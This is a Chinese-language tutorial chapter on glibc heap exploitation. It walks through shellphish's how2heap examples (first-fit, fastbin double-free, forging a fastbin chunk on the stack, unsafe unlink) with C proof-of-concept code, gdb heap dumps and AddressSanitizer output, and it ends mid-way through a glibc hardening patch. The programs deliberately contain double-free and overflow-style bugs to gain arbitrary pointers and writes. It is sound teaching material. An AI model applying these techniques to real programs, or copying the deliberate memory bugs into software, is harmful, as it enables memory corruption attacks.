35 KiB
3.3.5 堆利用
Linux 堆简介
堆是程序虚拟地址空间中的一块连续的区域,由低地址向高地址增长。当前 Linux 使用的堆分配器被称为 ptmalloc2,在 glibc 中实现。
更详细的我们已经在章节 1.5.8 中介绍了,章节 1.5.7 中也有相关内容,请回顾一下。
how2heap
how2heap 是由 shellphish 团队制作的堆利用教程,介绍了多种堆利用技术,这篇文章我们就通过这个教程来学习。推荐使用 Ubuntu 16.04 64位系统环境,glibc 版本如下:
$ file /lib/x86_64-linux-gnu/libc-2.23.so
/lib/x86_64-linux-gnu/libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=088a6e00a1814622219f346b41e775b8dd46c518, for GNU/Linux 2.6.32, stripped
$ git clone https://github.com/shellphish/how2heap.git
$ cd how2heap
$ make
请注意,下文中贴出的代码是我简化过的,剔除和修改了一些不必要的注释和代码,以方便学习。另外,正如章节 4.3 中所讲的,添加编译参数 CFLAGS += -fsanitize=address
可以检测内存错误。下载文件
first_fit
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
char* a = malloc(512);
char* b = malloc(256);
char* c;
fprintf(stderr, "1st malloc(512): %p\n", a);
fprintf(stderr, "2nd malloc(256): %p\n", b);
strcpy(a, "AAAAAAAA");
strcpy(b, "BBBBBBBB");
fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "Freeing the first one...\n");
free(a);
c = malloc(500);
fprintf(stderr, "3rd malloc(500): %p\n", c);
strcpy(c, "CCCCCCCC");
fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
fprintf(stderr, "first allocation %p points to %s\n", a, a);
}
$ gcc -g first_fit.c
$ ./a.out
1st malloc(512): 0x1380010
2nd malloc(256): 0x1380220
first allocation 0x1380010 points to AAAAAAAA
Freeing the first one...
3rd malloc(500): 0x1380010
3rd allocation 0x1380010 points to CCCCCCCC
first allocation 0x1380010 points to CCCCCCCC
这第一个程序展示了 glibc 堆分配的策略,即 first-fit。在分配内存时,malloc 会先到 unsorted bin(或者fastbins) 中查找适合的被 free 的 chunk,如果没有,就会把 unsorted bin 中的所有 chunk 分别放入到所属的 bins 中,然后再去这些 bins 里去找合适的 chunk。可以看到第三次 malloc 的地址和第一次相同,即 malloc 找到了第一次 free 掉的 chunk,并把它重新分配。
在 gdb 中调试,两个 malloc 之后(chunk 位于 malloc 返回地址减去 0x10 的位置):
gef➤ x/5gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000211 <-- chunk a
0x602010: 0x4141414141414141 0x0000000000000000
0x602020: 0x0000000000000000
gef➤ x/5gx 0x602220-0x10
0x602210: 0x0000000000000000 0x0000000000000111 <-- chunk b
0x602220: 0x4242424242424242 0x0000000000000000
0x602230: 0x0000000000000000
第一个 free 之后,将其加入到 unsorted bin 中:
gef➤ x/5gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000211 <-- chunk a [be freed]
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd pointer, bk pointer
0x602020: 0x0000000000000000
gef➤ x/5gx 0x602220-0x10
0x602210: 0x0000000000000210 0x0000000000000110 <-- chunk b
0x602220: 0x4242424242424242 0x0000000000000000
0x602230: 0x0000000000000000
gef➤ heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x602000, bk=0x602000
→ Chunk(addr=0x602010, size=0x210, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
第三个 malloc 之后:
gef➤ x/5gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000211 <-- chunk c
0x602010: 0x4343434343434343 0x00007ffff7dd1d00
0x602020: 0x0000000000000000
gef➤ x/5gx 0x602220-0x10
0x602210: 0x0000000000000210 0x0000000000000111 <-- chunk b
0x602220: 0x4242424242424242 0x0000000000000000
0x602230: 0x0000000000000000
所以当释放一块内存后再申请一块大小略小于的空间,那么 glibc 倾向于将先前被释放的空间重新分配。
好了,现在我们加上内存检测参数重新编译:
$ gcc -fsanitize=address -g first_fit.c
$ ./a.out
1st malloc(512): 0x61500000fd00
2nd malloc(256): 0x611000009f00
first allocation 0x61500000fd00 points to AAAAAAAA
Freeing the first one...
3rd malloc(500): 0x61500000fa80
3rd allocation 0x61500000fa80 points to CCCCCCCC
=================================================================
==4525==ERROR: AddressSanitizer: heap-use-after-free on address 0x61500000fd00 at pc 0x7f49d14a61e9 bp 0x7ffe40b526e0 sp 0x7ffe40b51e58
READ of size 2 at 0x61500000fd00 thread T0
#0 0x7f49d14a61e8 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x601e8)
#1 0x7f49d14a6bcc in vfprintf (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x60bcc)
#2 0x7f49d14a6cf9 in fprintf (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x60cf9)
#3 0x400b8b in main /home/firmy/how2heap/first_fit.c:23
#4 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#5 0x400878 in _start (/home/firmy/how2heap/a.out+0x400878)
0x61500000fd00 is located 0 bytes inside of 512-byte region [0x61500000fd00,0x61500000ff00)
freed by thread T0 here:
#0 0x7f49d14de2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
#1 0x400aa2 in main /home/firmy/how2heap/first_fit.c:17
#2 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
previously allocated by thread T0 here:
#0 0x7f49d14de602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x400957 in main /home/firmy/how2heap/first_fit.c:6
#2 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
一个很明显的 use-after-free 漏洞。关于这类漏洞的详细利用过程,我们会在后面的章节里再讲。
fastbin_dup
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
fprintf(stderr, "Allocating 3 buffers.\n");
char *a = malloc(9);
char *b = malloc(9);
char *c = malloc(9);
strcpy(a, "AAAAAAAA");
strcpy(b, "BBBBBBBB");
strcpy(c, "CCCCCCCC");
fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a);
fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b);
fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c);
fprintf(stderr, "Freeing the first one %p.\n", a);
free(a);
fprintf(stderr, "Then freeing another one %p.\n", b);
free(b);
fprintf(stderr, "Freeing the first one %p again.\n", a);
free(a);
fprintf(stderr, "Allocating 3 buffers.\n");
char *d = malloc(9);
char *e = malloc(9);
char *f = malloc(9);
strcpy(d, "DDDDDDDD");
fprintf(stderr, "4st malloc(9) %p points to %s the first time\n", d, d);
strcpy(e, "EEEEEEEE");
fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e);
strcpy(f, "FFFFFFFF");
fprintf(stderr, "6rd malloc(9) %p points to %s the second time\n", f, f);
}
$ gcc -g fastbin_dup.c
$ ./a.out
Allocating 3 buffers.
1st malloc(9) 0x1c07010 points to AAAAAAAA
2nd malloc(9) 0x1c07030 points to BBBBBBBB
3rd malloc(9) 0x1c07050 points to CCCCCCCC
Freeing the first one 0x1c07010.
Then freeing another one 0x1c07030.
Freeing the first one 0x1c07010 again.
Allocating 3 buffers.
4st malloc(9) 0x1c07010 points to DDDDDDDD the first time
5nd malloc(9) 0x1c07030 points to EEEEEEEE
6rd malloc(9) 0x1c07010 points to FFFFFFFF the second time
这个程序展示了利用 fastbins 的 double-free 攻击,可以泄漏出一块已经被分配的内存指针。fastbins 可以看成一个 LIFO 的栈,使用单链表实现,通过 fastbin->fd 来遍历 fastbins。由于 free 的过程会对 free list 做检查,我们不能连续两次 free 同一个 chunk,所以这里在两次 free 之间,增加了一次对其他 chunk 的 free 过程,从而绕过检查顺利执行。然后再 malloc 三次,就在同一个地址 malloc 了两次,也就有了两个指向同一块内存区域的指针。
三个 malloc 之后:
gef➤ x/15gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a
0x602010: 0x4141414141414141 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b
0x602030: 0x4242424242424242 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
0x602050: 0x4343434343434343 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1 <-- top chunk
0x602070: 0x0000000000000000
第一个 free 之后,chunk a 被添加到 fastbins 中:
gef➤ x/15gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed]
0x602010: 0x0000000000000000 0x0000000000000000 <-- fd pointer
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b
0x602030: 0x4242424242424242 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
0x602050: 0x4343434343434343 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1
0x602070: 0x0000000000000000
gef➤ heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
第二个 free 之后,chunk b 被添加到 fastbins 中:
gef➤ x/15gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed]
0x602010: 0x0000000000000000 0x0000000000000000 <-- fd pointer
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed]
0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer
0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
0x602050: 0x4343434343434343 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1
0x602070: 0x0000000000000000
gef➤ heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
第三个 free 之后,chunk a 再次被添加到 fastbins 中:
gef➤ x/15gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed again]
0x602010: 0x0000000000602020 0x0000000000000000 <-- fd pointer
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed]
0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer
0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
0x602050: 0x4343434343434343 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1
0x602070: 0x0000000000000000
gef➤ heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) → [loop detected]
再三个 malloc 之后:
gef➤ x/15gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk d, chunk f
0x602010: 0x4646464646464646 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk e
0x602030: 0x4545454545454545 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
0x602050: 0x4343434343434343 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1
0x602070: 0x0000000000000000
所以对于 fastbins,可以通过 double-free 泄漏出一个堆块的指针。
加上内存检测参数重新编译:
$ gcc -fsanitize=address -g fastbin_dup.c
$ ./a.out
Allocating 3 buffers.
1st malloc(9) 0x60200000eff0 points to AAAAAAAA
2nd malloc(9) 0x60200000efd0 points to BBBBBBBB
3rd malloc(9) 0x60200000efb0 points to CCCCCCCC
Freeing the first one 0x60200000eff0.
Then freeing another one 0x60200000efd0.
Freeing the first one 0x60200000eff0 again.
=================================================================
==5650==ERROR: AddressSanitizer: attempting double-free on 0x60200000eff0 in thread T0:
#0 0x7fdc18ebf2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
#1 0x400ba3 in main /home/firmy/how2heap/fastbin_dup.c:22
#2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#3 0x400878 in _start (/home/firmy/how2heap/a.out+0x400878)
0x60200000eff0 is located 0 bytes inside of 9-byte region [0x60200000eff0,0x60200000eff9)
freed by thread T0 here:
#0 0x7fdc18ebf2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
#1 0x400b0d in main /home/firmy/how2heap/fastbin_dup.c:18
#2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
previously allocated by thread T0 here:
#0 0x7fdc18ebf602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x400997 in main /home/firmy/how2heap/fastbin_dup.c:7
#2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
一个很明显的 double-free 漏洞。关于这类漏洞的详细利用过程,我们会在后面的章节里再讲。
fastbin_dup_into_stack
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
unsigned long long stack_var = 0x21;
fprintf(stderr, "Allocating 3 buffers.\n");
char *a = malloc(9);
char *b = malloc(9);
char *c = malloc(9);
strcpy(a, "AAAAAAAA");
strcpy(b, "BBBBBBBB");
strcpy(c, "CCCCCCCC");
fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a);
fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b);
fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c);
fprintf(stderr, "Freeing the first one %p.\n", a);
free(a);
fprintf(stderr, "Then freeing another one %p.\n", b);
free(b);
fprintf(stderr, "Freeing the first one %p again.\n", a);
free(a);
fprintf(stderr, "Allocating 4 buffers.\n");
unsigned long long *d = malloc(9);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
fprintf(stderr, "4nd malloc(9) %p points to %p\n", d, &d);
char *e = malloc(9);
strcpy(e, "EEEEEEEE");
fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e);
char *f = malloc(9);
strcpy(f, "FFFFFFFF");
fprintf(stderr, "6rd malloc(9) %p points to %s\n", f, f);
char *g = malloc(9);
strcpy(g, "GGGGGGGG");
fprintf(stderr, "7th malloc(9) %p points to %s\n", g, g);
}
$ gcc -g fastbin_dup_into_stack.c
$ ./a.out
Allocating 3 buffers.
1st malloc(9) 0xcf2010 points to AAAAAAAA
2nd malloc(9) 0xcf2030 points to BBBBBBBB
3rd malloc(9) 0xcf2050 points to CCCCCCCC
Freeing the first one 0xcf2010.
Then freeing another one 0xcf2030.
Freeing the first one 0xcf2010 again.
Allocating 4 buffers.
4nd malloc(9) 0xcf2010 points to 0x7ffd1e0d48b0
5nd malloc(9) 0xcf2030 points to EEEEEEEE
6rd malloc(9) 0xcf2010 points to FFFFFFFF
7th malloc(9) 0x7ffd1e0d48b0 points to GGGGGGGG
这个程序展示了怎样通过修改 fd 指针,将其指向一个伪造的 free chunk,在伪造的地址处 malloc 出一个 chunk。该程序大部分内容都和上一个程序一样,漏洞也同样是 double-free,只有给 fd 填充的内容不一样。
三个 malloc 之后:
gef➤ x/15gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a
0x602010: 0x4141414141414141 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b
0x602030: 0x4242424242424242 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
0x602050: 0x4343434343434343 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1 <-- top chunk
0x602070: 0x0000000000000000
三个 free 之后:
gef➤ x/15gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed twice]
0x602010: 0x0000000000602020 0x0000000000000000 <-- fd pointer
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed]
0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer
0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
0x602050: 0x4343434343434343 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1
0x602070: 0x0000000000000000
gef➤ heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) → [loop detected]
这一次 malloc 之后,我们不再填充无意义的 "DDDDDDDD",而是填充一个地址,即栈地址减去 0x8,从而在栈上伪造出一个 free 的 chunk(当然也可以是其他的地址):
gef➤ x/15gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk d
0x602010: 0x00007fffffffdc30 0x0000000000000000 <-- fd pointer
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed]
0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer
0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
0x602050: 0x4343434343434343 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1
0x602070: 0x0000000000000000
gef➤ p &stack_var
$4 = (unsigned long long *) 0x7fffffffdc38
gef➤ x/5gx 0x7fffffffdc38-0x8
0x7fffffffdc30: 0x0000000000000000 0x0000000000000021 <-- fake chunk [seems to be freed]
0x7fffffffdc40: 0x0000000000602010 0x0000000000602010 <-- fd pointer
0x7fffffffdc50: 0x0000000000602030
gef➤ heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x7fffffffdc40, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602020, size=0x0, flags=) [incorrect fastbin_index]
可以看到,伪造的 chunk 已经由指针链接到 fastbins 上了。之后 malloc 两次,即可将伪造的 chunk 移动到链表头部:
gef➤ x/15gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x4646464646464646 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021
0x602030: 0x4545454545454545 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000021
0x602050: 0x4343434343434343 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1
0x602070: 0x0000000000000000
gef➤ heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x7fffffffdc40, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602020, size=0x0, flags=) [incorrect fastbin_index]
再次 malloc,即可在 fake chunk 处分配内存:
gef➤ x/5gx 0x7fffffffdc38-0x8
0x7fffffffdc30: 0x0000000000000000 0x0000000000000021 <-- fake chunk
0x7fffffffdc40: 0x4747474747474747 0x0000000000602000
0x7fffffffdc50: 0x0000000000602030
所以对于 fastbins,可以通过 double-free 覆盖 fastbins 的结构,来获得一个指向任意地址的指针。
unsafe_unlink
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
uint64_t *chunk0_ptr;
int main() {
int malloc_size = 0x80; // not fastbins
int header_size = 2;
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
// pass this check: (P->fd->bk != P || P->bk->fd != P) == False
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
fprintf(stderr, "Fake chunk fd: %p\n", (void*) chunk0_ptr[2]);
fprintf(stderr, "Fake chunk bk: %p\n\n", (void*) chunk0_ptr[3]);
// pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False
// chunk0_ptr[1] = 0x0; // or 0x8, 0x80
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
chunk1_hdr[0] = malloc_size;
chunk1_hdr[1] &= ~1;
// deal with tcache
// int *a[10];
// int i;
// for (i = 0; i < 7; i++) {
// a[i] = malloc(0x80);
// }
// for (i = 0; i < 7; i++) {
// free(a[i]);
// }
free(chunk1_ptr);
char victim_string[9];
strcpy(victim_string, "AAAAAAAA");
chunk0_ptr[3] = (uint64_t) victim_string;
fprintf(stderr, "Original value: %s\n", victim_string);
chunk0_ptr[0] = 0x4242424242424242LL;
fprintf(stderr, "New Value: %s\n", victim_string);
}
$ gcc -g unsafe_unlink.c
$ ./a.out
The global chunk0_ptr is at 0x601070, pointing to 0x721010
The victim chunk we are going to corrupt is at 0x7210a0
Fake chunk fd: 0x601058
Fake chunk bk: 0x601060
Original value: AAAAAAAA
New Value: BBBBBBBB
这个程序展示了怎样利用 free 改写全局指针 chunk0_ptr 达到任意内存写的目的,即 unsafe unlink。该技术最常见的利用场景是我们有一个可以溢出漏洞和一个全局指针。
Ubuntu16.04 使用 libc-2.23,其中 unlink 实现的代码如下,其中有一些对前后堆块的检查,也是我们需要绕过的:
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (P->size) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}
malloc_size 设置为 0x80,可以分配 small chunk,然后定义 header_size 为 2。申请两块空间,全局指针 chunk0_ptr
指向 chunk0,局部指针 chunk1_ptr
指向 chunk1:
gef➤ p &chunk0_ptr
$1 = (uint64_t **) 0x601070 <chunk0_ptr>
gef➤ x/gx &chunk0_ptr
0x601070 <chunk0_ptr>: 0x0000000000602010
gef➤ p &chunk1_ptr
$2 = (uint64_t **) 0x7fffffffdc60
gef➤ x/gx &chunk1_ptr
0x7fffffffdc60: 0x00000000006020a0
gef➤ x/40gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 0
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000091 <-- chunk 1
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0: 0x0000000000000000 0x0000000000000000
0x6020f0: 0x0000000000000000 0x0000000000000000
0x602100: 0x0000000000000000 0x0000000000000000
0x602110: 0x0000000000000000 0x0000000000000000
0x602120: 0x0000000000000000 0x0000000000020ee1 <-- top chunk
0x602130: 0x0000000000000000 0x0000000000000000
接下来要绕过 (P->fd->bk != P || P->bk->fd != P) == False
的检查,这个检查有个缺陷,就是 fd/bk 指针都是通过与 chunk 头部的相对地址来查找的。所以我们可以利用全局指针 chunk0_ptr
构造 fake chunk 来绕过它:
gef➤ x/40gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 0
0x602010: 0x0000000000000000 0x0000000000000000 <-- fake chunk P
0x602020: 0x0000000000601058 0x0000000000601060 <-- fd, bk pointer
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000080 0x0000000000000090 <-- chunk 1 <-- prev_size
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0: 0x0000000000000000 0x0000000000000000
0x6020f0: 0x0000000000000000 0x0000000000000000
0x602100: 0x0000000000000000 0x0000000000000000
0x602110: 0x0000000000000000 0x0000000000000000
0x602120: 0x0000000000000000 0x0000000000020ee1 <-- top chunk
0x602130: 0x0000000000000000 0x0000000000000000
gef➤ x/5gx 0x601058
0x601058: 0x0000000000000000 0x00007ffff7dd2540 <-- fake chunk
0x601068: 0x0000000000000000 0x0000000000602010 <-- bk pointer
0x601078: 0x0000000000000000
gef➤ x/5gx 0x601060
0x601060: 0x00007ffff7dd2540 0x0000000000000000 <-- fake chunk
0x601070: 0x0000000000602010 0x0000000000000000 <-- fd pointer
0x601080: 0x0000000000000000
可以看到,我们在 chunk0 里构造一个 fake chunk,用 P 表示,两个指针 fd 和 bk 可以构成两条链:P->fd->bk == P
,P->bk->fd == P
,可以绕过检查。另外利用 chunk0 的溢出漏洞,通过修改 chunk 1 的 prev_size
为 fake chunk 的大小,修改 PREV_INUSE
标志位为 0,将 fake chunk 伪造成一个 free chunk。
接下来就是释放掉 chunk1,这会触发 fake chunk 的 unlink 并覆盖 chunk0_ptr
的值。unlink 操作是这样进行的:
FD = P->fd;
BK = P->bk;
FD->bk = BK
BK->fd = FD
再说简单一点,由于这时候 P->fd->bk 和 P->bk->fd 都指向 P,所以最后的结果为:
chunk0_ptr = P = P->fd
成功地修改了 chunk0_ptr,这时 chunk0_ptr
和 chunk0_ptr[3]
实际上就是同一东西:
gef➤ x/40gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 0
0x602010: 0x0000000000000000 0x0000000000020ff1 <-- fake chunk P
0x602020: 0x0000000000601058 0x0000000000601060 <-- fd, bk pointer
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000080 0x0000000000000090 <-- chunk 1 [be freed]
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0: 0x0000000000000000 0x0000000000000000
0x6020f0: 0x0000000000000000 0x0000000000000000
0x602100: 0x0000000000000000 0x0000000000000000
0x602110: 0x0000000000000000 0x0000000000000000
0x602120: 0x0000000000000000 0x0000000000020ee1 <-- top chunk
0x602130: 0x0000000000000000 0x0000000000000000
gef➤ x/5gx 0x601058
0x601058: 0x0000000000000000 0x00007ffff7dd2540 <-- fake chunk
0x601068: 0x0000000000000000 0x0000000000601058 <-- bk pointer
0x601078: 0x0000000000000000
gef➤ x/5gx 0x601060
0x601060: 0x00007ffff7dd2540 0x0000000000000000 <-- fake chunk
0x601070: 0x0000000000601058 0x0000000000000000 <-- fd pointer
0x601080: 0x0000000000000000
gef➤ x/gx chunk0_ptr
0x601058: 0x0000000000000000
gef➤ x/gx chunk0_ptr[3]
0x601058: 0x0000000000000000
所以,修改 chunk0_ptr[3]
就等于修改 chunk0_ptr
:
gef➤ x/5gx 0x601058
0x601058: 0x0000000000000000 0x00007ffff7dd2540
0x601068: 0x0000000000000000 0x00007fffffffdc70 <-- chunk0_ptr[3]
0x601078: 0x0000000000000000
gef➤ x/gx chunk0_ptr
0x7fffffffdc70: 0x4141414141414141
这时 chunk0_ptr
就指向了 victim_string,修改它:
gef➤ x/gx chunk0_ptr
0x7fffffffdc70: 0x4242424242424242
成功达成修改任意地址的成就。
最后看一点新的东西,libc-2.25 在 unlink 的开头增加了对 size 和 next->prev->size 是否相同的检查,以对抗 1 字节溢出的问题。补丁如下:
$ git show 17f487b7afa7cd6c316040f3e6c86dc96b2eec30 malloc/malloc.c
commit 17f487b7afa7cd6c316040f3e6c86dc96b2eec30
Author: DJ Delorie <dj@delorie.com>
Date: Fri Mar 17 15:31:38 2017 -0400
Further harden glibc malloc metadata against 1-byte overflows.
Additional check for chunk_size == next->prev->chunk_size in unlink()
2017-03-17 Chris Evans <scarybeasts@gmail.com>
* malloc/malloc.c (unlink): Add consistency check between size and
next->prev->size, to further harden against 1-byte overflows.
diff --git a/malloc/malloc.c b/malloc/malloc.c
index e29105c372..994a23248e 100644
--- a/malloc/malloc.c
+++ b/malloc/malloc.c
@@ -1376,6 +1376,8 @@ typedef struct malloc_chunk *mbinptr;
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
